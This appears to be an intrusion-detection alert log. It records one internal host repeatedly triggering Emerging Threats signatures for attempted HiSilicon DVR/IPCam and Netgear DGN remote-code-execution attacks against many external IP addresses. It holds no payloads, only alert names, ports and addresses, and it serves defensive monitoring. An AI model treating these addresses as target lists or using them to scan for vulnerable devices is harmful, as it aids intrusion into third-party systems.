05/16/24-16:39:05.706099	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48732	9530	192.168.2.23	83.152.0.15
05/16/24-16:38:57.409938	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51944	9530	192.168.2.23	80.138.18.43
05/16/24-16:39:12.295488	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53766	9530	192.168.2.23	218.211.80.131
05/16/24-16:38:57.409938	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51944	9530	192.168.2.23	80.138.18.43
05/16/24-16:39:12.295488	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53766	9530	192.168.2.23	218.211.80.131
05/16/24-16:38:57.304851	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54176	9530	192.168.2.23	203.127.154.60
05/16/24-16:39:08.047676	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44926	9530	192.168.2.23	183.150.63.134
05/16/24-16:38:57.304851	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54176	9530	192.168.2.23	203.127.154.60
05/16/24-16:39:08.047676	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44926	9530	192.168.2.23	183.150.63.134
05/16/24-16:39:03.277951	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55192	9530	192.168.2.23	120.18.134.23
05/16/24-16:39:03.277951	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55192	9530	192.168.2.23	120.18.134.23
05/16/24-16:39:08.144204	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51888	9530	192.168.2.23	184.231.19.138
05/16/24-16:39:08.144204	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51888	9530	192.168.2.23	184.231.19.138
05/16/24-16:39:08.041153	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56680	9530	192.168.2.23	220.113.3.114
05/16/24-16:39:08.041153	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56680	9530	192.168.2.23	220.113.3.114
05/16/24-16:39:05.711672	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50664	9530	192.168.2.23	162.11.142.115
05/16/24-16:39:08.128024	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55244	9530	192.168.2.23	133.106.208.176
05/16/24-16:39:05.711672	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50664	9530	192.168.2.23	162.11.142.115
05/16/24-16:39:08.128024	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55244	9530	192.168.2.23	133.106.208.176
05/16/24-16:39:12.383681	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56474	9530	192.168.2.23	193.92.165.85
05/16/24-16:39:12.383681	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56474	9530	192.168.2.23	193.92.165.85
05/16/24-16:38:50.047743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33664	9530	192.168.2.23	194.152.174.58
05/16/24-16:38:50.047743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33664	9530	192.168.2.23	194.152.174.58
05/16/24-16:39:14.520205	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53894	9530	192.168.2.23	79.156.69.220
05/16/24-16:39:14.520205	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53894	9530	192.168.2.23	79.156.69.220
05/16/24-16:38:50.047387	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53566	9530	192.168.2.23	89.97.236.160
05/16/24-16:38:50.047387	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53566	9530	192.168.2.23	89.97.236.160
05/16/24-16:39:14.517408	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39064	9530	192.168.2.23	61.195.185.156
05/16/24-16:39:14.517408	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39064	9530	192.168.2.23	61.195.185.156
05/16/24-16:38:59.604413	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45764	9530	192.168.2.23	44.162.205.150
05/16/24-16:39:14.507678	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44886	9530	192.168.2.23	14.157.123.157
05/16/24-16:39:14.507678	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44886	9530	192.168.2.23	14.157.123.157
05/16/24-16:38:59.604413	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45764	9530	192.168.2.23	44.162.205.150
05/16/24-16:39:08.126426	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52066	9530	192.168.2.23	217.240.133.15
05/16/24-16:38:57.424467	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38434	9530	192.168.2.23	14.69.70.247
05/16/24-16:38:57.424467	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38434	9530	192.168.2.23	14.69.70.247
05/16/24-16:39:03.262309	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53468	9530	192.168.2.23	173.152.16.207
05/16/24-16:39:03.262309	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53468	9530	192.168.2.23	173.152.16.207
05/16/24-16:39:16.579421	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46498	9530	192.168.2.23	38.64.6.116
05/16/24-16:39:16.579421	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46498	9530	192.168.2.23	38.64.6.116
05/16/24-16:39:08.041144	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56568	9530	192.168.2.23	186.107.157.147
05/16/24-16:39:08.041144	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56568	9530	192.168.2.23	186.107.157.147
05/16/24-16:39:12.384774	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54664	9530	192.168.2.23	64.110.72.46
05/16/24-16:39:12.384774	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54664	9530	192.168.2.23	64.110.72.46
05/16/24-16:38:55.206800	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53878	9530	192.168.2.23	73.162.44.71
05/16/24-16:39:02.767200	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59188	9530	192.168.2.23	139.172.76.255
05/16/24-16:38:55.206800	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53878	9530	192.168.2.23	73.162.44.71
05/16/24-16:39:02.767200	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59188	9530	192.168.2.23	139.172.76.255
05/16/24-16:38:49.278138	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	51984	80	192.168.2.23	64.205.122.221
05/16/24-16:39:16.603152	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40728	9530	192.168.2.23	58.185.189.13
05/16/24-16:39:16.603152	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40728	9530	192.168.2.23	58.185.189.13
05/16/24-16:38:59.609910	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46592	9530	192.168.2.23	191.58.155.35
05/16/24-16:38:59.609910	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46592	9530	192.168.2.23	191.58.155.35
05/16/24-16:38:53.071733	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42984	9530	192.168.2.23	132.179.112.81
05/16/24-16:38:53.071733	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42984	9530	192.168.2.23	132.179.112.81
05/16/24-16:39:03.277945	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35758	9530	192.168.2.23	216.25.82.6
05/16/24-16:38:53.099175	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53192	9530	192.168.2.23	176.200.80.155
05/16/24-16:39:03.277945	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35758	9530	192.168.2.23	216.25.82.6
05/16/24-16:38:53.099175	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53192	9530	192.168.2.23	176.200.80.155
05/16/24-16:38:50.004139	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38548	9530	192.168.2.23	179.129.11.88
05/16/24-16:38:50.004139	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38548	9530	192.168.2.23	179.129.11.88
05/16/24-16:39:16.579422	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60078	9530	192.168.2.23	67.161.243.117
05/16/24-16:38:50.068355	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35384	9530	192.168.2.23	187.147.153.196
05/16/24-16:38:50.068355	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35384	9530	192.168.2.23	187.147.153.196
05/16/24-16:39:08.127256	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57752	9530	192.168.2.23	168.120.234.237
05/16/24-16:39:08.127985	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59532	9530	192.168.2.23	216.105.74.148
05/16/24-16:39:08.127256	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57752	9530	192.168.2.23	168.120.234.237
05/16/24-16:39:08.127985	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59532	9530	192.168.2.23	216.105.74.148
05/16/24-16:38:53.099147	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54834	9530	192.168.2.23	165.129.140.169
05/16/24-16:38:53.099147	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54834	9530	192.168.2.23	165.129.140.169
05/16/24-16:39:16.579422	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60078	9530	192.168.2.23	67.161.243.117
05/16/24-16:38:55.201816	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59414	9530	192.168.2.23	191.61.50.51
05/16/24-16:38:59.557652	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37930	9530	192.168.2.23	210.162.251.188
05/16/24-16:38:55.201816	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59414	9530	192.168.2.23	191.61.50.51
05/16/24-16:38:59.557652	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37930	9530	192.168.2.23	210.162.251.188
05/16/24-16:38:55.174170	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52048	9530	192.168.2.23	123.112.55.129
05/16/24-16:39:12.401731	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52864	9530	192.168.2.23	159.214.41.14
05/16/24-16:38:55.174170	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52048	9530	192.168.2.23	123.112.55.129
05/16/24-16:39:12.401731	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52864	9530	192.168.2.23	159.214.41.14
05/16/24-16:39:16.580762	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53800	9530	192.168.2.23	172.171.160.74
05/16/24-16:39:16.580762	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53800	9530	192.168.2.23	172.171.160.74
05/16/24-16:39:13.662034	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	33188	80	192.168.2.23	37.208.175.64
05/16/24-16:38:50.064127	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40180	9530	192.168.2.23	151.17.75.175
05/16/24-16:38:50.064127	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40180	9530	192.168.2.23	151.17.75.175
05/16/24-16:39:03.275985	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33560	9530	192.168.2.23	204.80.39.175
05/16/24-16:39:03.275985	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33560	9530	192.168.2.23	204.80.39.175
05/16/24-16:39:14.524537	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48330	9530	192.168.2.23	211.129.181.208
05/16/24-16:39:14.524537	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48330	9530	192.168.2.23	211.129.181.208
05/16/24-16:38:59.557105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53682	9530	192.168.2.23	113.196.181.85
05/16/24-16:38:59.557105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53682	9530	192.168.2.23	113.196.181.85
05/16/24-16:39:12.298335	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53350	9530	192.168.2.23	195.1.79.18
05/16/24-16:39:12.298335	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53350	9530	192.168.2.23	195.1.79.18
05/16/24-16:39:14.514794	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52362	9530	192.168.2.23	167.6.215.222
05/16/24-16:39:14.494579	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57476	9530	192.168.2.23	211.183.48.122
05/16/24-16:39:05.709466	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34816	9530	192.168.2.23	135.232.32.184
05/16/24-16:39:14.514794	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52362	9530	192.168.2.23	167.6.215.222
05/16/24-16:39:05.709466	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34816	9530	192.168.2.23	135.232.32.184
05/16/24-16:38:59.584385	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56192	9530	192.168.2.23	18.191.225.152
05/16/24-16:38:59.584385	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56192	9530	192.168.2.23	18.191.225.152
05/16/24-16:38:57.436396	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43170	9530	192.168.2.23	54.237.49.162
05/16/24-16:39:08.041853	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46002	9530	192.168.2.23	219.159.80.78
05/16/24-16:39:08.041853	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46002	9530	192.168.2.23	219.159.80.78
05/16/24-16:39:14.494579	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57476	9530	192.168.2.23	211.183.48.122
05/16/24-16:38:55.212282	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58700	9530	192.168.2.23	130.221.66.74
05/16/24-16:38:55.212282	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58700	9530	192.168.2.23	130.221.66.74
05/16/24-16:38:57.436396	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43170	9530	192.168.2.23	54.237.49.162
05/16/24-16:38:57.304838	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37044	9530	192.168.2.23	211.130.15.165
05/16/24-16:38:57.304838	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37044	9530	192.168.2.23	211.130.15.165
05/16/24-16:39:12.303997	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33468	9530	192.168.2.23	217.46.119.247
05/16/24-16:39:12.301171	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48638	9530	192.168.2.23	110.95.58.43
05/16/24-16:39:12.301171	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48638	9530	192.168.2.23	110.95.58.43
05/16/24-16:39:12.303997	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33468	9530	192.168.2.23	217.46.119.247
05/16/24-16:38:55.175106	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39784	9530	192.168.2.23	112.157.42.73
05/16/24-16:39:02.762988	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44300	9530	192.168.2.23	142.215.193.65
05/16/24-16:39:08.093000	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59464	9530	192.168.2.23	148.240.18.240
05/16/24-16:38:55.175106	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39784	9530	192.168.2.23	112.157.42.73
05/16/24-16:39:02.762988	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44300	9530	192.168.2.23	142.215.193.65
05/16/24-16:39:08.093000	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59464	9530	192.168.2.23	148.240.18.240
05/16/24-16:39:16.579839	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54898	9530	192.168.2.23	14.79.249.71
05/16/24-16:38:50.068518	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34298	9530	192.168.2.23	178.73.146.221
05/16/24-16:39:16.579839	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54898	9530	192.168.2.23	14.79.249.71
05/16/24-16:38:50.068518	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34298	9530	192.168.2.23	178.73.146.221
05/16/24-16:39:08.149113	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47964	9530	192.168.2.23	159.74.19.145
05/16/24-16:39:12.400554	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44106	9530	192.168.2.23	113.156.136.7
05/16/24-16:39:08.149113	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47964	9530	192.168.2.23	159.74.19.145
05/16/24-16:39:12.400554	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44106	9530	192.168.2.23	113.156.136.7
05/16/24-16:38:57.303907	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50430	9530	192.168.2.23	180.136.247.68
05/16/24-16:38:55.210426	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52100	9530	192.168.2.23	8.12.78.9
05/16/24-16:38:55.210426	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52100	9530	192.168.2.23	8.12.78.9
05/16/24-16:38:55.216372	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51118	9530	192.168.2.23	43.112.104.22
05/16/24-16:38:55.216372	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51118	9530	192.168.2.23	43.112.104.22
05/16/24-16:39:03.256814	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51576	9530	192.168.2.23	185.146.61.7
05/16/24-16:39:03.256814	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51576	9530	192.168.2.23	185.146.61.7
05/16/24-16:38:50.048858	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42348	9530	192.168.2.23	164.167.225.130
05/16/24-16:38:50.048858	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42348	9530	192.168.2.23	164.167.225.130
05/16/24-16:38:57.303954	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58224	9530	192.168.2.23	18.217.226.176
05/16/24-16:38:57.303954	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58224	9530	192.168.2.23	18.217.226.176
05/16/24-16:38:59.519446	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47794	9530	192.168.2.23	60.94.248.49
05/16/24-16:38:59.519446	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47794	9530	192.168.2.23	60.94.248.49
05/16/24-16:39:16.611860	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34106	9530	192.168.2.23	221.77.226.151
05/16/24-16:39:03.281226	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55252	9530	192.168.2.23	87.81.134.74
05/16/24-16:39:16.611860	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34106	9530	192.168.2.23	221.77.226.151
05/16/24-16:38:49.277920	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	34702	80	192.168.2.23	81.134.185.77
05/16/24-16:39:03.281226	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55252	9530	192.168.2.23	87.81.134.74
05/16/24-16:39:12.377541	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50534	9530	192.168.2.23	18.179.163.144
05/16/24-16:39:14.531140	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52882	9530	192.168.2.23	136.82.112.243
05/16/24-16:38:57.305818	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60614	9530	192.168.2.23	87.74.115.47
05/16/24-16:38:57.305818	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60614	9530	192.168.2.23	87.74.115.47
05/16/24-16:39:14.531140	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52882	9530	192.168.2.23	136.82.112.243
05/16/24-16:39:05.676409	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55434	9530	192.168.2.23	201.48.195.154
05/16/24-16:39:05.676409	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55434	9530	192.168.2.23	201.48.195.154
05/16/24-16:39:05.677878	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34140	9530	192.168.2.23	147.151.112.43
05/16/24-16:39:05.677878	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34140	9530	192.168.2.23	147.151.112.43
05/16/24-16:38:53.011360	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47492	9530	192.168.2.23	177.166.97.226
05/16/24-16:39:12.377541	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50534	9530	192.168.2.23	18.179.163.144
05/16/24-16:39:16.607430	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52122	9530	192.168.2.23	103.57.154.144
05/16/24-16:38:53.011360	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47492	9530	192.168.2.23	177.166.97.226
05/16/24-16:39:16.607430	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52122	9530	192.168.2.23	103.57.154.144
05/16/24-16:38:57.303907	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50430	9530	192.168.2.23	180.136.247.68
05/16/24-16:38:57.304629	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51362	9530	192.168.2.23	112.31.242.236
05/16/24-16:38:57.304629	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51362	9530	192.168.2.23	112.31.242.236
05/16/24-16:38:50.053182	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46250	9530	192.168.2.23	194.29.191.1
05/16/24-16:38:50.053182	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46250	9530	192.168.2.23	194.29.191.1
05/16/24-16:39:16.609822	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49866	9530	192.168.2.23	153.190.238.18
05/16/24-16:38:55.201800	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57296	9530	192.168.2.23	216.134.111.54
05/16/24-16:39:16.609822	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49866	9530	192.168.2.23	153.190.238.18
05/16/24-16:38:55.201800	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57296	9530	192.168.2.23	216.134.111.54
05/16/24-16:38:53.098251	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35898	9530	192.168.2.23	17.200.104.220
05/16/24-16:39:02.746067	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40714	9530	192.168.2.23	163.109.155.122
05/16/24-16:38:53.098251	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35898	9530	192.168.2.23	17.200.104.220
05/16/24-16:39:02.746067	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40714	9530	192.168.2.23	163.109.155.122
05/16/24-16:38:59.518386	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59124	9530	192.168.2.23	40.25.220.124
05/16/24-16:38:59.518386	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59124	9530	192.168.2.23	40.25.220.124
05/16/24-16:38:50.047583	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41386	9530	192.168.2.23	197.93.239.189
05/16/24-16:38:50.047583	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41386	9530	192.168.2.23	197.93.239.189
